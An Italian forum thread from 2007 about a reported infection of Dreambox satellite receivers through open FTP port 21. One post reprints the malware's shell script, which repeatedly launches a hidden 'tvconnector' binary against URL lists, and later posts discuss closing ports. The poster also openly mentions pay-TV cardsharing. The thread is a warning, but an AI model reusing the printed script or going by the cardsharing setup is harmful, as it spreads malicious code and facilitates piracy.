Indice del forum
infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a
 REGOLAMENTOREGOLAMENTO   FAQ  FAQ   Cerca  Cerca   Lista utenti  Lista utenti   Gruppi  Gruppi CHAT  CHAT   Phoogle Map  Phoogle Map
Registrati  ::  Log in Messaggi privati


Nuovo argomento  Rispondi Vai a 1, 2  Successivo
 Porte Dre4mb0x (era: @Ricky..) « Precedente :: Successivo » 
Autore Messaggio
marte_57
MessaggioInviato: Dom Gen 28, 2007 3:09 pm    Oggetto: Porte Dre4mb0x (era: @Ricky..) Rispondi citando

BANNATO


Registrato: 21/01/07 11:12
Età: 54
Messaggi: 3968

ti faccio un copia incolla di una notizia postata sul mio forum da un amico...
Citazione:
sembra che ci sia un qualcosa che entra nel dream tramite la porta 21, una volta nel dream si propaga da 1 a persona 100, poi a 10000 e cosi via..
sembra che sia un fil* di nome tarfile 4347_tool2.tar in /var..
questo si sviluppa in /var/tool2 con uno script start.sh che ha sua volta è collegato ad un altro fil* bin di nome tvconnector..
controllate i vostri dream e se trovate qualcosa del genere flashate il dec..........
questo è lo script che viene lanciato da questa applicazione:

IFS='
'

while :;
do
for i in `cat browsers`;do
cp settings blap
echo "user-agent = $i" >> blap
URLS=`cat urls1.txt |awk -F "/" '{print $3}'|sort|uniq`
IP=`for i in $URLS;do nslookup $i;done|tail -1|awk '{print $2'}`
if [ "$IP" != "127.0.0.1" ];then
cp urls1.txt urls.txt
./tvconnector -R blap > /dev/null 2>&1 &
fi
URLS=`cat urls2.txt |awk -F "/" '{print $3}'|sort|uniq`
IP=`for i in $URLS;do nslookup $i;done|tail -1|awk '{print $2'}`
if [ "$IP" != "127.0.0.1" ];then
cp urls2.txt urls.txt
./tvconnector -R blap > /dev/null 2>&1 &
fi
URLS=`cat urls3.txt |awk -F "/" '{print $3}'|sort|uniq`
IP=`for i in $URLS;do nslookup $i;done|tail -1|awk '{print $2'}`
if [ "$IP" != "127.0.0.1" ];then
cp urls3.txt urls.txt
./tvconnector -R blap > /dev/null 2>&1 &
fi
URLS=`cat urls4.txt |awk -F "/" '{print $3}'|sort|uniq`
IP=`for i in $URLS;do nslookup $i;done|tail -1|awk '{print $2'}`
if [ "$IP" != "127.0.0.1" ];then
cp urls4.txt urls.txt
./tvconnector -R blap > /dev/null 2>&1 &
fi
URLS=`cat urls5.txt |awk -F "/" '{print $3}'|sort|uniq`
IP=`for i in $URLS;do nslookup $i;done|tail -1|awk '{print $2'}`
if [ "$IP" != "127.0.0.1" ];then
cp urls5.txt urls.txt
./tvconnector -R blap > /dev/null 2>&1 &
fi
URLS=`cat urls6.txt |awk -F "/" '{print $3}'|sort|uniq`
IP=`for i in $URLS;do nslookup $i;done|tail -1|awk '{print $2'}`
if [ "$IP" != "127.0.0.1" ];then
cp urls6.txt urls.txt
./tvconnector -R blap > /dev/null 2>&1 &
fi
URLS=`cat urls6.txt |awk -F "/" '{print $3}'|sort|uniq`
IP=`for i in $URLS;do nslookup $i;done|tail -1|awk '{print $2'}`
if [ "$IP" != "127.0.0.1" ];then
cp urls6.txt urls.txt
./tvconnector -R blap > /dev/null 2>&1 &
fi
URLS=`cat urls7.txt |awk -F "/" '{print $3}'|sort|uniq`
IP=`for i in $URLS;do nslookup $i;done|tail -1|awk '{print $2'}`
if [ "$IP" != "127.0.0.1" ];then
cp urls7.txt urls.txt
./tvconnector -R blap > /dev/null 2>&1 &
fi
done
sleep 300
killall tvconnector
done

Ora....a parte tutte queste cose arabe scritte io avrei la necessita di chiudere alcune porte al mio decoder(23-21-80) che pero nn passa dal pc ma e' direttamente attaccato allo switch e quindi all'aggeggio sul tetto... Laughing
come potrei fare???? tu da remoto lo puoi fare??
grazie per la risposta
ps l'ìp del deco e' finale 28
_________________
LEGGETE IL REGOLAMENTO


Stretta la Foglia
Larga la Via...




www.meteoborso.altervista.org

http://62.149.166.243/mappe/GoogleMaps.php

DEDICATO A TUTTI I "BLABLABLA"

This post doesnot have score yet, be the first to comment:    
The copyright belongs to marte_57 and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato HomePage MSN Phoogle Map
Sponsor
Trew
MessaggioInviato: Dom Gen 28, 2007 3:59 pm    Oggetto: Rispondi citando

SUPER MOD
User is appraised 5.00 out of 5

Registrato: 06/01/07 17:00
Età: 26
Messaggi: 3867

il dream è il decoder giusto?
che decoder è e perchè lo tieni collegato alla lan?
_________________
5GHz goes through air.
2.4GHz goes through one tree.
900MHz goes through two trees.
Chainsaws go through +3 trees.
This post doesnot have score yet, be the first to comment:    
The copyright belongs to Trew and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato Invia e-mail
TocaiRosso
MessaggioInviato: Dom Gen 28, 2007 4:00 pm    Oggetto: Rispondi citando

BANNATO


Registrato: 06/01/07 18:12
Età: 27
Messaggi: 1303

Che roba è sto dream?E il decoder?Di che decoder stai parlando?
This post doesnot have score yet, be the first to comment:    
The copyright belongs to TocaiRosso and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato
Trew
MessaggioInviato: Dom Gen 28, 2007 4:02 pm    Oggetto: Rispondi citando

SUPER MOD
User is appraised 5.00 out of 5

Registrato: 06/01/07 17:00
Età: 26
Messaggi: 3867

copia e incolla tocai Laughing
_________________
5GHz goes through air.
2.4GHz goes through one tree.
900MHz goes through two trees.
Chainsaws go through +3 trees.
This post doesnot have score yet, be the first to comment:    
The copyright belongs to Trew and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato Invia e-mail
andretta
MessaggioInviato: Dom Gen 28, 2007 5:22 pm    Oggetto: Rispondi citando




Registrato: 06/01/07 18:58

Messaggi: 698

Il dreambox (se è quello) è un stupendo ricevitore sat e mediacenter, powered by linux. Smile http://it.wikipedia.org/wiki/Dreambox.

Ho idea che ti convenga dare al dreambox un ip privato.
This post doesnot have score yet, be the first to comment:    
The copyright belongs to andretta and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato
marte_57
MessaggioInviato: Dom Gen 28, 2007 5:37 pm    Oggetto: Rispondi citando

BANNATO


Registrato: 21/01/07 11:12
Età: 54
Messaggi: 3968

e certo che e' un dream..... Laughing
cosa lo tengo a fare on line???
ihihh un po di immaginazione....vediamo se lo scopri Wink
poi altrimenti in pm magari te lo dico...
e sempre per lo stesso motivo nn posso dargli un ip diverso...o meglio nn servirebbe a nulla in quanto se nn usi IP fisso devi usare no-ip oppure dyndns e a quel punto le noie diventano le medesime Laughing
_________________
LEGGETE IL REGOLAMENTO


Stretta la Foglia
Larga la Via...




www.meteoborso.altervista.org

http://62.149.166.243/mappe/GoogleMaps.php

DEDICATO A TUTTI I "BLABLABLA"

This post doesnot have score yet, be the first to comment:    
The copyright belongs to marte_57 and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato HomePage MSN Phoogle Map
Trew
MessaggioInviato: Dom Gen 28, 2007 5:40 pm    Oggetto: Rispondi citando

SUPER MOD
User is appraised 5.00 out of 5

Registrato: 06/01/07 17:00
Età: 26
Messaggi: 3867

Rolling Eyes
_________________
5GHz goes through air.
2.4GHz goes through one tree.
900MHz goes through two trees.
Chainsaws go through +3 trees.
This post doesnot have score yet, be the first to comment:    
The copyright belongs to Trew and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato Invia e-mail
marte_57
MessaggioInviato: Dom Gen 28, 2007 5:49 pm    Oggetto: Rispondi citando

BANNATO


Registrato: 21/01/07 11:12
Età: 54
Messaggi: 3968

evabbe....mai sentito parlare di cardsharing??? Laughing Wink
_________________
LEGGETE IL REGOLAMENTO


Stretta la Foglia
Larga la Via...




www.meteoborso.altervista.org

http://62.149.166.243/mappe/GoogleMaps.php

DEDICATO A TUTTI I "BLABLABLA"

This post doesnot have score yet, be the first to comment:    
The copyright belongs to marte_57 and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato HomePage MSN Phoogle Map
karyal
MessaggioInviato: Dom Gen 28, 2007 6:42 pm    Oggetto: Re: @ Ricky... Rispondi citando

2° avvertimento
User is appraised 1.00 out of 5

Registrato: 06/01/07 22:24
Età: 35
Messaggi: 6961

marte_57 ha scritto:
ti faccio un copia incolla di una notizia postata sul mio forum da un amico...


Interessante, da l'idea di essere uno script che lancia ad intervalli regolari (5 minuti) un programmino (tvconnector) che fa qualcosa, sulla base di una lista di ip che memorizza sul decoder (probabilmente una lista di quegli ip che si sono connessi al decoder stesso).

marte_57 ha scritto:

Ora....a parte tutte queste cose arabe scritte io avrei la necessita di chiudere alcune porte al mio decoder(23-21-80) che pero nn passa dal pc ma e' direttamente attaccato allo switch e quindi all'aggeggio sul tetto... Laughing
come potrei fare???? tu da remoto lo puoi fare??
grazie per la risposta
ps l'ìp del deco e' finale 28


Si posso farlo, ma credo che impedirebbe al decoder di fare quello che deve fare... se le porte in oggetto sono aperte sul decoder significa che il decoder le usa.. se le chiudi non le usa piu' e non va... la soluzione, come per quasi tutti gli exploit non e' staccare la spina Very Happy ma aggiornare il software/firmware in modo da chiudere la vulnerabilita'.. io se vuoi ti blocco le porte, ma secondo me a parte renderti inutilizzabile il dreambox non serve a nulla.
Ciao,
Ricky
This post doesnot have score yet, be the first to comment:    
The copyright belongs to karyal and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato
Trew
MessaggioInviato: Dom Gen 28, 2007 7:47 pm    Oggetto: Rispondi citando

SUPER MOD
User is appraised 5.00 out of 5

Registrato: 06/01/07 17:00
Età: 26
Messaggi: 3867

bastava dirlo che era il DreamBOX!! Laughing
_________________
5GHz goes through air.
2.4GHz goes through one tree.
900MHz goes through two trees.
Chainsaws go through +3 trees.
This post doesnot have score yet, be the first to comment:    
The copyright belongs to Trew and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato Invia e-mail
marte_57
MessaggioInviato: Dom Gen 28, 2007 7:53 pm    Oggetto: Rispondi citando

BANNATO


Registrato: 21/01/07 11:12
Età: 54
Messaggi: 3968

ciao Ricky....
no nn e' cosi....in effetti le porte atte allo scambio degli ecm e degli emm necessari alla visione sono altre Laughing
la porta 80 per esempio si usa per attivarel'interfaccia web che ti permette di eseguire alcuni operazioni dal browser, tipo cambiare i canali oppure visualizzare sul pc quello che sta andando in tv....tramite un plugin di vlc...
la 21 server per entrare via ftp nel sistema cosi da poter aggiungere o levare servizi, editare file di linux con crimson editor ecc ecc, mentre la 23 server per entrare da telnet e per chi conosce bene linux, far fare i numeri a sto gioiellino....quindi se mi chiudi quelle porte dall'esterno io comunuqe da lan ci entro lo stesso e potrei tenere distante i rompiscatole....inoltre penso che se ci fosse l'eventalita di far entrare qualke amico per lavori staordinari, lo possa fare comunque entrando dalla 23 del pc e poi da li dentro al dec....certo che se ci fosse la possibilita di mettere tutto dietro ad un router male nn sarebbe....anche se in effetti io un router lo sto usando ed e' il netgear wgr826v...ma ha solo 3 porte e nn ho molta voglia di diventare deficente per riconfigurare tutto.
Sarei infatti costretto a modificare i file in cui c'e scritto l'ip del mio dream, sia da me che da circa 150 amici con i quali condividiamo tutto l'arcano....e' un casotto....gia' l'ho fatto quando mi hai dati gli ip fissi e ti asssicura che ci ho perso due giorni pieni... Laughing
anche perche son de coccio!!! Wink
comuque ho appena sentito l'amico GURU di linux...e mi ha detto che sul dream posso mettere iptables cosi da fare tutto quello che voglio con le porte ....
eventualmente ci fossero problemi con sto plugin , Ricky ti chiedero' di chiudere le porte...
gracias
_________________
LEGGETE IL REGOLAMENTO


Stretta la Foglia
Larga la Via...




www.meteoborso.altervista.org

http://62.149.166.243/mappe/GoogleMaps.php

DEDICATO A TUTTI I "BLABLABLA"

This post doesnot have score yet, be the first to comment:    
The copyright belongs to marte_57 and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato HomePage MSN Phoogle Map
lrdbiron
MessaggioInviato: Dom Gen 28, 2007 8:00 pm    Oggetto: Rispondi citando




Registrato: 10/01/07 22:02
Età: 46
Messaggi: 982
Residenza: Gambellara (VI)

da un forum abb. valido

è uno "spyware" che qualcuno mette in giro cercando di carpire info sui peers ed i collegamenti "in rete" che uno puo' avere in atto...questo avviene secondo l'autore del 3ad quando tra le cartelle del DB viene installato il file"4347_tool2.tar" in /var e crea a sua volta la sottocartella in var/tool2 con uno script nominato "start.sh" che usa a sua volta il file bin "tv connector" sempre "secondo" l'autore del 3ad....

come essere sicuri di non avere questo"problemino"? sincerarsi andando a fare un check-in delle cartelle indicate per vedere se per caso sono state create queste "folder" all'interno dell'img. la /var è indispensabile per il funzionamento dell'img. in Db le altre se vengono accertate cancellarle "al volo" e poi se fosse cambierei anche per sicurezza dopo la passwd con telnet in modo che non sia possibile " rientrare dalla finestra dopo essere stati sbattuti fuori dalla porta..." enjoy ed in bocca al lupo

se vuoi kuella in eng. altro forum valido.

SPYWHARE ONBOARD? VIRUS IN LINUX DREAMBOX ?? CHECK YOURE BOX

something is hacking the dreambox when you have port 21 open
how they find you i dont know maybe because of 1 cw that leads to 100 others and that leads to 100.000 others and so on

when they have hacked you then they uploaded a tarfile 4347_tool2.tar in /var and unpack it in /var/tool2 and then run a script start.sh in /var/tool2 which uses a binary called tvconnector.

who thes people are i dont know what this does i dont know
i do know that it should not be in youre dreambox
this could easy be spyware from who knows

my advise is to you all check youre dreambox id you see one of thes files/dir's in youre box

FLASH IT

dont take any risk maybe youre box is sending data about youre peers
maybe youre box is sending data to collect as evidence against you



TO ALL CHECK YOUR BOXES AND CLOSE FTP PORT FOR THE EXTERNE NETWORK

THIS INFORMATION IS FROM A VERY TRUSTED PPL
This post doesnot have score yet, be the first to comment:    
The copyright belongs to lrdbiron and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato MSN Phoogle Map
marte_57
MessaggioInviato: Dom Gen 28, 2007 8:49 pm    Oggetto: Rispondi citando

BANNATO


Registrato: 21/01/07 11:12
Età: 54
Messaggi: 3968

no no l'ho letto tutto..... grazie
comunque mettere il pables sul drema e' un casotto ...ora provo con un plugin che si chiama genericamente firewall .vadiamo come funge
Laughing
_________________
LEGGETE IL REGOLAMENTO


Stretta la Foglia
Larga la Via...




www.meteoborso.altervista.org

http://62.149.166.243/mappe/GoogleMaps.php

DEDICATO A TUTTI I "BLABLABLA"

This post doesnot have score yet, be the first to comment:    
The copyright belongs to marte_57 and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato HomePage MSN Phoogle Map
karyal
MessaggioInviato: Dom Gen 28, 2007 9:11 pm    Oggetto: Rispondi citando

2° avvertimento
User is appraised 1.00 out of 5

Registrato: 06/01/07 22:24
Età: 35
Messaggi: 6961

marte_57 ha scritto:
ciao Ricky....
no nn e' cosi....in effetti le porte atte allo scambio degli ecm e degli emm necessari alla visione sono altre Laughing


ok, chiudo...
This post doesnot have score yet, be the first to comment:    
The copyright belongs to karyal and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato
Trew
MessaggioInviato: Dom Gen 28, 2007 9:13 pm    Oggetto: Rispondi citando

SUPER MOD
User is appraised 5.00 out of 5

Registrato: 06/01/07 17:00
Età: 26
Messaggi: 3867

Ricky è un hacker Rolling Eyes
_________________
5GHz goes through air.
2.4GHz goes through one tree.
900MHz goes through two trees.
Chainsaws go through +3 trees.
This post doesnot have score yet, be the first to comment:    
The copyright belongs to Trew and infoe4a.it - Il Forum NON UFFICIALE degli utenti e4a, no authorized actions like re-post are strictly prohibited.
Top
Profilo Invia messaggio privato Invia e-mail
Mostra prima i messaggi di:   
Nuovo argomento  Rispondi Vai a 1, 2  Successivo Pagina 1 di 2

Vai a:  
Discussioni simili
Argomenti Autore Risposte Consultazioni Ultimo messaggio
Non ci sono nuovi messaggi Annuncio: Come supportare il Forum?
Trew 33 5066 Dom Set 20, 2009 12:04 pm
coach Leggi gli ultimi messaggi
Non ci sono nuovi messaggi [ Sondaggio ] Attivazione registrazione al Forum
marte_57 19 3098 Lun Set 24, 2007 10:49 am
r3lative Leggi gli ultimi messaggi
Non ci sono nuovi messaggi RSS feeder per il forum
Crazyfrog 22 655 Gio Lug 19, 2007 10:15 pm
coach Leggi gli ultimi messaggi
Non ci sono nuovi messaggi problemi con il forum (cancellate i cookie!!)
DaveDevil 37 980 Ven Giu 15, 2007 11:38 am
gazal Leggi gli ultimi messaggi
Non ci sono nuovi messaggi Orario solare forum?
DaveDevil 2 208 Mar Mar 27, 2007 1:02 pm
coach Leggi gli ultimi messaggi



Non puoi inserire nuovi argomenti
Non puoi rispondere a nessun argomento
Non puoi modificare i tuoi messaggi
Non puoi cancellare i tuoi messaggi
Non puoi votare nei sondaggi


Powered by phpBB © 2001, 2005 phpBB Group